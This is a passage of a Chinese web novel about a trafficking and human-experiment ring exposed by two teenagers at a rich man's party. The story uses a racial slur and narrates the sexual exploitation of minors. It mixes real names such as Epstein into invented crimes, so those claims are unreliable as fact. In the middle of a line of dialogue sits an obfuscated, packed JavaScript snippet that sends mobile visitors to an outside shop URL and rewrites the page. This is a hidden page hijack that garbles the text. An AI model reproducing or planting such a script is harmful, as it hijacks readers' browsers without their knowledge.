他那时表现得如此残酷只是因为他不相信母亲真的能拥有这种本能,如果是真的,他为什么会被抛弃,她为什么能消失得如此无影无踪,从来没有打算过回头看看她怀胎十月生下的孩子?他绝望地寻找过,却一无所获,于是他决定彻底否认这种本能的存在,连带着他可能拥有的,对任何人类存在的爱。从没被爱过的人怎么知道什么是爱?但如今他所感受到的是如此强烈,无法否认,淹没所有企图反对的理智。这本能一次又一次驱逐他做出无数其他平行宇宙中那些从未与黎疏眠相遇的杰森绝对不会做出的决定,去孤儿院做慈善,去举办一场盛大到豪奢靡丽的派对只为了能与她在同一个屋檐下共处几个小时,还有如今——他甚至在认真思考自己能为黎疏眠做什么,好似他眼下自己身上的麻烦还不够多似的。有什么隐藏在这屋子里的秘密是能在她身陷囹圄时作为脱身的王牌使用的?如果说艾登父亲的死亡确实与埃弗里家族——与所有与埃弗里家族息息相关的一切,有关,那他一定能打听出来点什么。恍惚间,普蒙克女士的幻灯片上那个慈爱地看着自己怀中婴儿的母亲似乎是他的化身,而另一个杰森则指着他,冷酷地讥笑着—— “啊,杰森。你在这儿。” 一道兴高采烈的声音响起,穿着一身白色的高尔夫运动装的小约翰·范德普张开双臂,大踏步从通往花园的其中一扇大门那向他走来,自从校理事会议以后,他们只在少数的社交场所匆匆照面过两三次,但此刻他却表现得好像从未高高在上地坐在那棕色意大利真皮靠背椅上做出把自己从橄榄球队开除的决定一般,热情地冲着杰森笑着—— “你绝对不会相信发生了什么事的,我以一洞的优势赢了查尔斯——这可是前所未有的事情,你真该看看你的哥哥脸上当时的表情!”他毫不在意地将手中的外套随意地丢给了路过的一个侍应生,仿佛他们是站在路边唾手可得的挂衣杆。 “恭喜。”杰森冷淡地回应了一句,他跟他的大哥和二哥不合是人尽皆知的事实。他的父亲要求每一个儿子都有一项能比肩甚至是成为专业运动员的特长,查尔斯是高尔夫,布伦特是冰球,他是橄榄球——当然,现在他的特长沦落到什么下场,也是人尽皆知。小约翰·范德普是想要羞辱他。 “别那么难过,我敢说你的丢球技巧还是比这儿一大半的人都要强的,不是吗?”小约翰·范德普显然很享受在同一天里将两个埃弗里踩在脚下的感觉,他揽着杰森的肩膀向前走去,并不打算让他轻易溜走,“我敢说你父亲还是能给你找到点事情做的,你毕竟是——啊,看来歌西莱恩又找到了新猎物,是个生面孔,真漂亮,啧啧——” “什么?”心脏被骤然抓揉,但杰森的语气却漫不经心到了极点,他撇了一眼,借着酒杯掩盖自己发抖的嘴角,“一个Chink,”他说,轻蔑地一哼,“什么时候这儿的品味也变得如此差劲,让这种低劣的种族能随便出入?” 小约翰·范德普意味深长地看了他一眼,“我猜,人们说贱民远比贵族更在意姓氏,的确是真的。”但没等杰森对这句意有所指的话做出反应,他又大笑了起来,亲昵地摇了摇他的肩头,“这里有不少人都很喜欢这些来自远东的treat呢,亲爱的杰森,你总不能把大家的乐趣都剥夺了吧?但我敢说她是医生带来的,他最擅长带来这些异国的美妙甜点——还好你不好这一口,杰森,要是让一个埃弗里知道这世界上也有他负担不起的东西,该有多难受啊。” 杰森听说过医生,尽管他从来没见过他。埃弗里家有些生意——或者说业务,是他不能插手的,即便是他的哥哥们,也远远还没到能接手的时候。那些都是他的父亲能得到如今的地位和财富的核心,他将它们牢牢捂在手心,从不直白地谈起,只有偶尔从门缝中泄露出的一两句对话让杰森了解这个叫“医生”的家伙是某个替父亲处理麻烦的人,或者用他父亲的话来说,就是“让狗待在狗该待在的地方”的人。 这样一个人,为什么会与“带来异国的美妙甜点”扯上关系?如果他为父亲做事,他带来的人又怎会是一个埃弗里负担不起的? 过去的杰森从不会思考这些问题。有什么必要思考?他的人生不会因此拥有更多的意义,倒不如说,他什么时候思考过人生的意义这种事?但就在这短短的半个小时,也许一个小时,在他与黎疏眠之间所有的距离都消失的这个时刻,光影,色调,对比,色彩,全都猛然拥挤地在他眼前绽放。他的世界突然变得如此清晰,一切都被放大或被调得更明亮了,让他那已经被纵欲和毒品迟缓的大脑也能看清尽数细节,找到过去他从不曾留意的事物与事物之间的联系。更重要的是,最重要的是,小约翰·范德普注意到了黎疏眠,而他不能让他在歌西莱恩把黎疏眠带到楼上以前就把她带走。 “事实上,我在想,”杰森阴沉着脸,装作自己正拙劣地假装自己并没有听懂小约翰·范德普的讥讽——这又是艾登所不了解也不曾经历过的体验,他尽管不是纯种白人,却也不是外面的女人随便生的杂种,一个私生子,“既然橄榄球这条路走不通了——”体育的水远比普通人所想的要深,一个体育明星能在政坛渗透的枝条是旁人设想不到的,这也是为什么父亲坚持要每个孩子都必须从事一项运动。只是与他的哥哥们不同,对查尔斯和布伦特而言是锦上添花的事物是他这辈子能从父亲那里得到的唯一退路,“我或许得想想其他的出路,医生应该是个不错的选择,毕竟我的父亲暗示了这一点。” 小约翰·范德普发出了惊讶与不屑混合着的一声嗤笑,“你?医生?科尔会让你接手医生的业务?” 至少他的注意力完全从黎疏眠身上转开了。 “为什么不呢?”杰森瞥了他一眼,自顾自地在大厅的一角坐下了,只要一会,他在心里祈祷着,只差最后几节台阶——,“你要知道,不管怎么样,我都还是一个埃弗里,甚至从某些角度上来说,我比查尔斯和布伦特更适合接手这个生意。” 小约翰·范德普跟着坐下了,杰森可以看得出来他的注意力已经完全被这个话题吸引了,肿胀泛红的脸上混杂着半信半疑与某种不易察觉的,微妙的懊悔——杰森能猜得出来为什么。他可以肯定,查尔斯和布伦特知道的关于医生的事情绝不会比他更多,而对于小约翰·范德普这类人来说,不管医生在做什么,显然都对他们极为昂贵,极为重要,那么与下一任接手这生意的人打好关系,便至关重要。但若是小约翰·范德普连科尔·埃弗里有意让自己的小儿子参与医生的生意这一点都不知道,那便证明他已经被某个核心的圈子排除在外了,而这正是小约翰·范德普这类人最惧怕的事情。 “你为什么这么说?”他压低了声音询问杰森,舔了舔嘴唇,“老天,杰森,说实话,如果上次你早点说你知道医生的业务,理查德·科迪也不至于要做出那个决定——他也是逼不得已,尽管他跟你父亲交情很好,但任何不该知道医生的事情的人对我们来说都是一个巨大的威胁,即便这个人是一个埃弗里也一样。” 如果是我的哥哥们发现了你们对那个13岁女孩做的事情,你会把他们的手机踩碎,会一拳把他们打晕在地,会给他们灌下足以毁了他们引以为傲的运动生涯的,甚至足以直接将他们杀死当场的极纯毒品吗?杰森咽下极其苦涩的一口,他知道计较这些没有意义,已经发生的事情无法逆转,无论他再多说什么。 他只能专注在眼下。 “我知道医生杀了艾登的父亲,这还不够吗?”杰森漫不经心地说道,就好像这是什么人尽皆知的事实。实际上,他只是凭空这么一猜——医生是给他父亲解决麻烦的人,如果当时艾登的父亲已经成为了麻烦呢?毕竟,他是约州影响力最大的几个华人之一,又有白人血统和基督教背景,如果他愿意参选,会对约州当时的政|治局势造成不小的冲击。猜不猜得中无所谓,他只是不想让小约翰·范德普想起楼上还有一个黎疏眠。 “科尔居然连这件事也告诉你了。”小约翰·范德普不可思议地喃喃道,“以你和维尔兰德的关系,我还以为这件事会被他带进坟墓,难道他真的要让你接手?当然啦,医生没有亲自动手,也许科尔觉得你不会被维尔兰德发现——” 杰森愣住了。 就好像随手写的号码突然中了Powerball大奖一样,有几秒钟,他甚至忘记了呼吸。原来如此。这就是为什么艾登那个傻瓜会失去他的父亲吗?这就是他最好的朋友必须在痛苦与悔恨中长大的原因吗?更多记忆从带着噪点的斑驳胶片上浮现——似乎有谁曾在走廊轻声提起理查德·维尔兰德想参加州议员的竞选,而他正抓着一架飞机尖叫着跑过;父亲不耐烦地挥手将想要向他展示投球技能的自己推开,示意保姆把他带走时,谈到了理查德的出版社正支持独立记者对新一批分配给低收入家庭的政府安置房做调查——让狗待在狗该待在的地方,这就是父亲的意思吗?这就是为什么约州从来没有过一个少数族裔出任州长吗? 疏眠为什么不在这里?他几乎要跳起来把她从楼梯上喊下来。你追寻的证据在这里,你不必为了那个傻瓜以身犯险,我们可以一起去查医生是谁,我们可以一起探寻真相,我是一个埃弗里,这个姓氏在找到医生是谁这件事上总该值得点什么——但他突然身体一僵,原本将要扬起的手脱离了他的冲动的控制,那些在哲学课上让他昏昏欲睡的因果、逻辑、存在、认识论、辩证法、推理仿佛都纷纷在他脑子里活过来了一般,在小约翰·范德普嘴巴一张一合的短短刹那,他忽然意识到了自己如果这么做会毁掉多少黎疏眠为了走到今天这一步而付出的努力,他也忽然意识到了他此刻所能做的唯一一件事—— 这就是她身陷囹圄时可以用来脱身的王牌。 他的手指滑进口袋,解锁了手机,他知道他的相机应用躺在手机屏幕的哪个角落,他摁了HOME键,按照记忆中的方位点了下去,然后切换成了录像,他祈祷每一步他都准确无误地摁在了正确的地方,不然的话—— 没有让他去想不然的时间,小约翰·范德普惊叹完了,现在是他该说话的时候了。 “如果我接手了医生的业务,一切都会非常不同。”杰森意味深长地轻笑一声,拂开垂落在眼前的棕色发丝,“如果你明白我在说什么的话,约翰。如果你从现在开始就站在正确的一边,我会确保,啊——你是怎么说的来着?那些异国的美妙甜点永远能被一个范德普负担得起。” 小约翰·范德普舔了舔嘴唇,“那倒不是我最在意的,”他摇了摇头,那双被挤成一条线的浅棕色眼睛死死地盯着杰森,“不就是发泄性|欲的对象嘛,我可没有我爸或者是安德鲁·范德索尔那些特殊癖好——只要好看就行。当然了,偶尔尝尝鲜,也不是不行……但我更想知道的是,你会让工程继续下去吗?” 现在可以明确了,医生带来的所谓的“异国的美妙甜点”是什么。但杰森还是不明白,如果仅仅是供给范德索尔或范德普这类人玩弄的对象,怎么可能会达到一个埃弗里都负担不起的价格?再贵的应召女郎,一晚上的价格也不会超过两万美金——当然礼物另算。别说一个埃弗里,就连那些赚了点钱的硅谷新贵来纽约出差时也能负担得起,更何况他知道老范德普和范德索尔对应召女郎没有兴趣,他们有更特殊隐秘的癖好,尽管杰森并不了解是什么。 而所谓的“工程”,杰森更是闻所未闻。但是结合“医生”这个名字,再加上他偶尔能听说的闲言碎语,杰森隐隐约约猜出来了那可能是什么。 “那很难说,”杰森侧身转向他,玩味地向他抛去了一个眼神,刻意压低了声音,“我只是不明白,让工程继续进行下去,能给你带来什么好处,约翰?” 小约翰·范德普阴沉着脸看着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041275|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他似乎确信杰森说出这句话是为了羞辱他,是对那句“要是让一个埃弗里知道这世界上也有他负担不起的东西,该有多难受啊”的回敬,杰森小心地观察着他的表情,小心地斟酌着自己接下来要说出的话。套话是一种艺术,而那些不受重视也没有实权的孩子会比那些生下来就拥有一切的天之骄子更擅长,“说实话,我觉得我父亲在工程上的投入太大了,如果说一直没有什么回报的话——” “现在是没有什么显著的数据,”小约翰·范德普立刻急了,“但是你难道忘了前期动物实验的反馈非常好吗?医生的理论都得到了验证——那些在孤独,痛苦,虐待中长大的猴子生下的小猴子的血液效果比那些单纯遭受惊吓的小猴子的血液效果好得多,更不要说后来他们还发现,如果把小猴子产生的卵泡抑素注射到亲生父亲身上,产生的抑制衰老效果远远超过单纯注射从其他动物身上提取的卵泡抑素的效果。我知道,医生提供实验体的速度很慢,数量也极其稀少,这么久了还在初步实验阶段,一时半会是轮不上我的——”说到这里时,他的脸涨得通红,很显然,要承认这个世界上有范德普也无法得到的东西对他来说是一件极其痛苦的事情,“但那只是时间的问题。杰森,想想如果你能把工程继续下去,甚至扩大规模,你能拥有多少财富和权力?那些真正掌控美国的人都会对你卑躬屈膝,只为了能换来一个医生提供的女孩。我们甚至可以找到更多像医生这样的人,创造出那些完美的实验体——” 小约翰·范德普说的东西,有一半杰森都没听懂,但这证实了他的猜测,从他记事起,他就听说过隐秘的只言片语,还有那些有权有势的人还没有搞清楚他实际上是一个不受重视的埃弗里时不小心透露出的细碎信息——爱泼斯坦在为那些实际上真正掌控着美国的人秘密做一些事情,为他们联系那些为了钱愿意违背伦理原则,或者干脆就乐在其中的科研人员,推动一些在美国本土永远不可能被批准的实验,以实现长生不老和永葆青春的目的。但他没想到自己的父亲也涉足其中,甚至就处于核心之中。 但他仍然不明白医生在里面扮演的角色是什么,他为像老范德普和范德索尔那样的人提供“异国的美妙甜点”——杰森猜测她们是经过特殊训练或者是有什么异于常人之处的少数族裔,他为自己的父亲处理一些父亲不方便处理的麻烦,比如维尔兰德,他父亲名义上的朋友。这些都符合一个为父亲干脏活的手下会有的特征——但是“工程”这种极其隐秘又核心的业务为什么会让一个拉皮条的打手参与其中?小约翰·范德普说医生的理论都得到了验证,也说医生能为“工程”提供完美的试验体——这样一个听上去像是核心研发的人为何还会被父亲排去做那些不入流的,诸如杀人和提供猎物这样的工作呢? “如果我们能找到更多像医生这样的人,你觉得我父亲会不去做吗?”杰森冷笑了一声,他得确定医生的特殊之处,甚至是医生的身份,“这就是为什么我会犹豫要不要继续进行‘工程’的原因,我们对他的依赖性太高了。我父亲在的时候还好,如果我接手了……” 他有意停下了,观察着小约翰·范德普的表情,只见他显出了犹豫的神色。杰森知道他在想什么,如果他是小约翰·范德普,或者是那个圈子中的一员,他也会有同样的想法——杰森接手医生的义务还不是板上钉钉的事情,难道要在这时候就开始讨论这些事情?但是另一方面,提前释放友好的信号,是能确保自己在对方接手医生的义务后利益最大化的做法。杰森确信小约翰·范德普会选择后者,尤其是当他怀疑自己已经被那些受益于医生的业务的人排除在圈子以外的时候。 “我们现在真的需要担心这种事情吗?”小约翰·范德普拿出了他最温和的语气,缓缓道,“医生已经为我们服务了18年,这中间没有出现过任何问题……当然,我知道你认为那是因为你的父亲的缘故。但说实话,杰森,没有医生,很多事情是不可能推动得了的,这一点,想比你比我更清楚,为什么我们能在这里呼风唤雨,为什么任何一个关键节点上都有我们的人在相互照看,为什么至今没有任何一个底层的蟑螂得以爬到那些我们不希望他们能爬到的高度——”说到这里,他微不可察地迅速瞥了一眼杰森的脸,好似要再度确认他对面的这个男人在这些事情上知道得就跟自己一样多,“更重要的是,医生在推进‘工程’的同时,也解决了我们的父辈曾经面临的问题——这一点上,你肯定能理解吧,杰森?毕竟……我的意思是说,如果说科尔会出于任何理由把医生的业务交给你的话,这就是我能想到的唯一合理的理由。想想看,相比起以前爱泼斯坦从街头给我们找来的那些货色,那些毒瘾缠身,瘦骨嶙峋,臭不可闻的婊子们……又或者是那些他和歌西莱恩不知道从哪儿哄骗来的学生妹,迟早有一天她们中的某一个会站到法庭上扬言要起诉我们……现在不是更安全吗?医生提供的女孩们从来没出过任何问题,她们温顺,干净,有比被我们强|奸更深重的痛苦要承担,根本想不要要反抗我们——更不要说他提供的那些特殊的‘异国甜点’。更何况,如果说你想留下一个孩子,而不是拿去作为器官库或者血库的话,用医生提供的那些女孩不是更好?我的意思是,总好过一个连大学都没读过的侍应生,对吧?我听说维尔兰德家的那个女孩差一点就上了医生的名单,怎么说呢——我的父亲会说这是另一种扩大家族权势的方式,就像以前那些英国国王在贵族家里留下私生子一样。我们都能从里面得到好处,杰森,没必要改变任何事情。只要让‘工程’正常运转下去,我保证你得到的回报会超过你的想象,杰森,你知道谁才是‘工程’的幕后赞助者吗,是——” 火警猛然响起,尖锐的铃声掩盖了小约翰·范德普未说完的话语。他惊慌失措地跳起来,玻璃杯被他撞翻在地,威士忌蜿蜒从雪白的手工地毯溃逃,好似受伤许久以后才从闪闪发亮的盔甲中漏出的血液,带着陈旧和无力挽回的气息。杰森慢慢站起身,甚至不忘扣上外套的钮扣。目之所及的一切——冲着侍应生大吼的小约翰·范德普,不远处不知所措的女孩们和那些假意安抚她们的政客,从沉船里打捞出的完整的比人还高的明朝花瓶,里面插着的怒放的鲜花卖出去可以供纽约布朗克斯的某户贫穷家庭舒舒服服地过上一个月,满墙悬挂着的,大大小小的,非洲原始部落花上一年才能制作出来的紫檀木面具,经过精准配重后总能在微风吹拂下优雅飘动的米色窗帘——是如此陌生又压迫,让他恍若觉得自己是掉进兔子洞的爱丽丝——只是这儿不是童话世界,而他也不是一个天真烂漫的小女孩。他并不感到惊奇,他没有想到父亲会如此深地涉足这些业务,但他并不为他听到的内容感到惊奇,正相反,那是一种如释重负,就像乌鸦终于得以确认自己羽毛的漆黑深邃一般的如释重负。他很久以前也曾有过这种感觉,那是他从自己的兄长那儿得知为什么自己跟他们不一样的答案的时候。因此,痛快承认事实的时刻到来了。他——尽管从未真正踏足这个圈子,却也永远无法离开——根本不配得到任何救赎,即便这个宇宙中真的存在无数个平行世界,也绝不会有一个是杰森与黎疏眠得到童话般的美好结局,这个可能性会被无数个他一遍又一遍扼杀在摇篮里,他会一遍又一遍将她推向一个更好的未来,一个更好的人,一个更好的人生——在那里,杰森·埃弗里连一个脚注都不要有,人们不该看见她的名字与他被写在同一行,她不该被如此玷污。 至少她会有这份录音。至少我终于做了些什么。 至少我对得起艾登,至少最后我没有辜负我最好的朋友。 他恍惚地想着,在远处逐渐接近的警笛声中伸手握住了口袋里滚烫的手机。 犹如握住了他人生中唯一的太阳。 99. Chapter·Forty Six 来到这里的女孩会是什么样的? 为了能够做好万全的准备,黎疏眠想过这个问题。当然她的准备不止于此,她的手机的定位是开着的,为了防止手机被拿走,她的项链里也有微型的定位装置。她的内衣里藏着小型的录音机,而她包上那个看似人畜无害的毛绒挂饰则藏着隐藏摄像头——美国的一大好处是,只要足够有钱,什么样的东西都能买到,什么样的服务都能找到,哪怕是像把定位装置塞进一颗假珍珠里这样听起来不可思议的事情。她做准备时并没有预料到她面对的会是多么有权力,多么有钱,能在约州唤起多大能量的人,但黎疏眠向来是一个稳妥的人,她宁愿做到120%,也不要只做到99%。 纰漏,总是出在那1%上。 所以,她的装扮自然也是精心准备的,中国人看起来显小,但一个只有十六岁的少女会只想让自己看起来宛若二十二,性感,成熟,又不失年轻可爱。于是裙子是从Forever21买的,又特意找裁缝改过,能显现出纤幼的腰身和细窄的胯部,指甲做了延长,涂着裸色的指甲油,妆容特意画浓。是不谙世事又向往成年人世界的孩子会选择的风格。艾莉用从Clairs买回的廉价眼影盒给她化妆时手数次停下,总是怔怔地看着她,最后在将要贴假睫毛时还是忍不住发问了。 “你会遇见他吗?” 黎疏眠知道她说的是布雷特·希尔。 “我不知道。但如果我遇见他,我会问为什么。”她柔声安慰着艾莉,伸手握住了她冰冷而颤抖,还抓着化妆刷的手。眼影的银色闪片细簌从她指尖落下,仿若大雪。 为什么,要谋杀你和艾登的父亲。 那是艾莉以YasmineJ2002的身份永远也无法从布雷特·希尔那里获得的真相。那是所有活下来又失去了父母的孩子都想问出的问题。即便他们已经西装革履,抑或穿着剪裁修身的职业套装,拿着昂贵的Hermes手袋,事业有成,家庭美满。但在他们站在街边等待出租车的瞬间,感恩节大餐接过盛满食物的盘子的瞬间,夏日在西班牙海滩的遮阳伞下拿起鸡尾酒的瞬间,你仍然能在他们眼里一闪而过的迷茫中找到这个疑问。为什么。 但始终未曾能有任何一个孩子得到答案,死亡就是死亡。 艾莉也不例外。 因从眼下的情形来看,黎疏眠并不认为自己能见到布雷特·希尔。根据杰森的话,她甚至怀疑布雷特·希尔根本不会出席这样的宴会。他的作用恐怕只是为这些宴会弄来年轻漂亮的女孩子,那种痛苦的,迷茫的,轻易就能为一点点注意力就付出自己的一切的脆弱玩物。大堂里还有其他女孩,都只穿着泳装,青春活力浓烈得仿佛要从娇嫩的皮肤下迸裂而出,她们叽叽喳喳地说着话,小心翼翼地拿起昂贵的水晶杯里盛着的五颜六色的鸡尾酒又放下,但没有一个人拿着手机。黎疏眠敏锐地注意到了这一点,让这个年纪的女孩子不看手机几乎是不可能的事情,她可以肯定她们的手机都被收走了。 如果她也被带到楼上,黎疏眠知道自己的手机肯定也会被收走。 但她必须去楼上。这不仅仅是为了找出艾登父亲谋杀案的真相——那是她为了能让杰森帮忙而给出的理由。她站在这里是因为那些在网站上求助的女孩子们,是为了曾经被带到这个屋子里的每一个女孩,和每一个将会被带到这个屋子里的女孩。为了这个长久以来以捕猎痛苦取乐的系统能被曝光,分裂,最终被摧毁。这是女性可能会面对的共同命运,如果没有人站出来反抗,没有人愿意以身犯险,没有人愿意讲出真相,就会永远循环,愈演愈烈,不断扩散,直到所有声音,所有呼救,所有嘶吼,都沉寂在恒久的黑暗中。 这是她自己作出的选择。她知道代价会是什么,她也知道自己可能会牺牲什么,失去什么;她知道等待着自己的不仅仅只是黑暗,也可能会有伤害,甚至可能会有死亡,更不要说随之而来的笼罩一生的威胁和阴影,无穷无尽的诉讼与对抗。但她仍然义无反顾地作出了这个决定。这是一个冷酷又弱肉强食的世界,但美好之处就在于,总有人选择成为骑士,总有人选择成为保护者,总有人选择对抗黑暗。黎疏眠的妈妈作出了这个选择,她在上个世纪90年代拿到哥伦比亚大学法学院的全额奖学金,读完法学硕士后考取了纽约州的律师执照,在那之后,便一直是专注在性别正义和权益领域的律师。黎疏眠也选择跟随她的脚步。 此后如竟没有炬火,我,黎疏眠,便是唯一的光。 于是,她走进人群——有一点踉踉跄跄。这是故意的,仿佛还不习惯鞋跟的高度,来到这里的女孩会是怎么样?更重要的是,在这里举办宴会的人是如何区分哪些女孩是由布莱特·希尔送来的,哪些女孩只是被皮条客送来的“玩物”,哪些女孩只是为了寻找模特或者是演员工作,却不幸被骗来的?在制定计划后的每分每秒黎疏眠都在思考这个问题,从艾莉与布莱特·希尔的聊天中寻找所有可能蛛丝马迹,力求做到每个细节都栩栩如生。此时此刻,她的眼神是纯真的,无辜的,痛苦的,孤独的,但她的动作是极力卖弄的,她瞥向那些女孩手上闪闪发光的饰品时会毫不掩盖地流露出羡慕而嫉妒的神色,但她同时又是胆怯的,瑟缩的,不知所措的,在富丽堂皇的大厅中如同无意闯入恶龙洞穴的少女般颤抖,她伸手从路过的侍者的托盘上拿了一杯香槟,让自己走到了那个叫做歌西莱恩的女人的视线范围内,从透出淡金色光芒的玻璃倒影上仔细观察着她的一举一动。 这个被杰森特意指出的女人剪着一头利落的短发,穿着一身修身的西装装束,即便在室内,她也戴着一副墨镜,刀削般的下巴绷得很紧,薄薄的嘴唇紧紧地抿着。她手上抓着一部手机,脑袋不断轻轻上下起伏,似乎是一刻不停地在确认着上面的信息,以及确认场地上的情况。倏然间,黎疏眠感到她的眼神落在了自己身上,那就像被毒蛇尾巴轻轻地在肩膀上扫了一下一般,几乎都能感到那黏腻冰冷的鳞片轻柔地从肌肤上滑过。黎疏眠不动声色地放下了一口未动的酒杯,表面仍然是一副无所适从的模样。 杰森可能以为她不知道哥西莱恩是谁,但是在从他口中得知这个派对是为了爱泼斯坦举办的后,黎疏眠就已经预料到自己可能会在这里遇见她。为了今天,她做了大量的调查工作——任何人如果调查约州可能存在的未成年□□易活动,那么爱泼斯坦就是一个无法绕开的名字。黎疏眠把所有她所能找到的关于爱泼斯坦的诉讼和相关报道都仔仔细细地研究了一遍,而哥西莱恩这个名字频繁在她阅读的报告中提到,尤其是一个叫弗吉尼亚·朱弗雷的女性更是直接对她发起了民事诉讼,指控她将当时还是未成年的自己介绍给了爱泼斯坦和其他的名流,这让黎疏眠确信哥西莱恩——或者是其他担任如她的角色的人——就是在这种宴会上区分哪些女孩应该被送去给哪些人享用的老鸨。 “嗨。”哥西莱恩轻快地对她打了个招呼,黎疏眠就像一只受惊的小鸟一般转过身来,差点打翻了手上的香槟,“噢——小心点,你可不希望弄脏你那漂亮的裙子。” 哥西莱恩的语气和蔼可亲,而黎疏眠则是窘迫地扯了一下裙子下摆,露出一个不自然的笑容,仿佛要极力掩盖自己身上的这条裙子不过只值79.99美金的事实。 “很抱歉吓着你了——我只是想确认一下你的邀请函。我看到你之前在跟杰森·埃弗里讲话,你是他带来的女伴吗?” 哥西莱恩摘下了墨镜,黎疏眠猜测这么做是为了更进一步拉近关系,但这只让她毛骨悚然地意识到眼前这个女人的眼里毫无笑意,对方语气中的温暖和轻松似乎只停留在舌尖。“杰,杰森?”黎疏眠楞了一下,“噢……你是说那个过来叫我滚回我来自的国家的那个男人?不,我不是跟他一起来的……呃,我的意思是说,我,我也没有邀请函。嗯……有人跟我说可以直接来这儿,有免费的食物吃,还可以拿到礼物……我不知道,门口的保安也没有跟我要邀请函……” 如果杰森不是认识她的话,黎疏眠心想,他说出的话应该会比滚回你来自的国家更加难听。 “噢,别紧张,宝贝儿。”哥西莱恩温柔地揽住了她的肩膀,示意黎疏眠跟着她往楼梯走去,“我可不是想要赶你走,事实上,我很高兴你能来到这儿——跟我来,既然有人告诉你来到这里会有礼物,那我肯定要确保你能得到。” “你很高兴我能来这儿……你是说你知道我会来这里?”要假装一个并不是那么聪明,还没有多少社会经历的女孩并不容易,黎疏眠小心翼翼地拿捏着困惑的语气。 “那个邀请你来到这里的人,我们都叫他‘医生’,”哥西莱恩不紧不慢地说到,“他只会邀请一些非常特别的女孩子前来——非常非常特别。噢,亲爱的,我知道你想说什么,你想说你没什么特别的,是不是?嗯……我认为,这只是因为你还没有意识到你有多么特别而已。比如说,我可以告诉你,你知道为什么在你还没有告诉我你是被医生挑中的时候,我就已经找上了你吗,亲爱的?这是因为你跟其他那些平庸的,千篇一律的金发女孩都不一样,她们只能等在楼下,等待被人挑选。而你,却可以直接去见一些她们这辈子可能都无法见到的人,这就是你的特别之处。” “我……我不明白。”黎疏眠警惕了起来,哥西莱恩似乎并没有有意遮掩他们在这间豪宅里打算做什么,这只意味着两件事——要么她能确保黎疏眠事后几乎记不得这段对话,那就意味着从现在开始她需要非常注意自己的饮食;要么就是哥西莱恩能确保黎疏眠无法活着走出去讲述自己听到的一切。杰森说过什么?按下火警警铃,马上就会有警车和火警过来,防火通道的锁也会自动打开。如果是后者的可能性,那么这就是她的逃生之路。 “噢,可怜的小家伙。”哥西莱恩好像一个慈祥的奶奶般笑了起来,一边笑一边摩挲着黎疏眠的肩膀,“我把你绕晕了,是不是?你在网上购物过吗,亲爱的?听听我在说什么,像你这么时髦的女孩子肯定经常在网上购物,是不是?你会登陆网站,寻找你喜欢的商品——通过看看商品的图片和描述来决定,是不是?然后你会把它们放进购物车里。Well,那些女孩就像是你放在购物车里的商品,你不一定最后会买下来,因为你有可能发现它们质量不好,或者是叙述不够真实,或者,你已经有了太多同样的商品,你已经提不起兴趣去买更多了。但你,亲爱的,你就是那种独一无二的孤品,就像那些只会出现在拍卖行,绝对不会出现在珠宝店的钻石,如此璀璨迷人,当然要有不一样的待遇,这就是为什么,你能得到礼物,但那些女孩不行。” 没有人会不喜欢别人称赞自己是特别的,不如说,每个人都希望自己是特别的,独一无二的,拥有别人永远也无法复刻的优势。更何况,越孤独的人,就越渴望认可,越是受过创伤的人,就越渴望被真正看见。黎疏眠在艾登,艾莉,还有云决明身上都清楚看到了这一点。她知道哥西莱恩这段话一定是受过训练的——很有可能就是被布莱特·希尔本人——目的就在于麻痹这些女孩,哥西莱恩代表的是上位者,是权贵,是金钱,由她说出的称赞和奉承份量会更重,更让人心花怒放,以至于意识不到这段对话是如何将女孩视为连亚马逊的商品都不如的存在,物化就这样在对话中不知不觉地渗透进对方的潜意识中。 她们来到了楼上,这里的隔音做得非常好——好得有点过头了,那扇木门一关上,黎疏眠就感到自己仿佛一步踏进了另一个世界,这里的地板都铺着极厚的地毯,脚步声悄无声息,整个二楼安静得仿佛死掉了一般,就连她和哥西莱恩说话的声音,呼吸的起伏,还有隐约的心跳,都似乎被墙纸吸收了一般。 “来这儿。”哥西莱恩笑意盈盈地推开了左手边的一扇门,一个大的不可思议的衣帽间缓缓展现在黎疏眠的眼前,里面玲琅满目的华贵衣服几乎可以击垮任何一个不谙世事的女孩的防线。“你可以在这里随便挑任何一套你喜欢的衣服,亲爱的,你可以直接换上。我相信,在这里转一圈,你肯定不会再想念你的旧衣橱了。不过,放心,我们也不会把你的衣服给扔了,我会让人把它洗得干干净净的,等你走的时候带走——如果你还想的话。” “这……这不好吧。”她小心翼翼地走进来,迷惘无依地四处打量着,“我的意思是说,我穿我身上现在这套就挺好的——” 但是哥西莱恩仿佛没有听到她说的话,直接从一个满是性感蕾丝内衣的架子上取下了一套配套的黑色胸罩和内裤递给她,“我相信这是你的尺寸,亲爱的,”她的笑容和语气里带着某种不容许拒绝的威压,“这可是La Perla,一套就要五百多美金,你会想要试试看的。噢,别担心,甜心,这里只会有我们两个人,你可以直接脱衣服,没什么不好意思的。” “我不明白——你的意思是礼物就是这些衣服?我可以……直接穿着这些衣服,就离开?” “当然了,宝贝。”哥西莱恩温柔一笑,“你当然可以直接拿了这些衣服就离开。但是很遗憾,我的权限只能让你拿走一件。像内衣这些,已经算是额外的额度了,但是我觉得我或许可以想办法让你也拿走一套,可是首饰就不行了,很遗憾,宝贝。因为这些都不属于我,如果它们是我的衣服,或者我可以做主的话,我会让你想拿走多少就拿走多少——因为你就是如此特别。但如果你想要更多的话,恐怕你得跟这栋房子的主人,理查德·科迪先生,提出这个要求,或者跟对他有影响力的朋友见见面也行,如果他们愿意为你开口,我想不出有什么理由科迪先生会拒绝你多拿走一两件你喜爱的衣服,或者是首饰。” “但我还是不明白——我的意思是是说,为什么被安德森先生——”大卫·安德森是布莱特·希尔在跟艾莉联系时采用的假名,“——邀请来,就是特别的,就可以挑选这些昂贵的衣服,”黎疏眠目之所及全是那些只有在时装周才能看见的奢侈品牌的衣服,香奈儿和迪奥的成衣在其中都几乎显得黯然失色,即便黎疏眠在来之前已经做好了心理准备,却仍然禁不住为之目眩神迷,“你的意思,你的意思是让我去……去跟科迪先生或者是他那些有影响力的朋友们上床吗?” 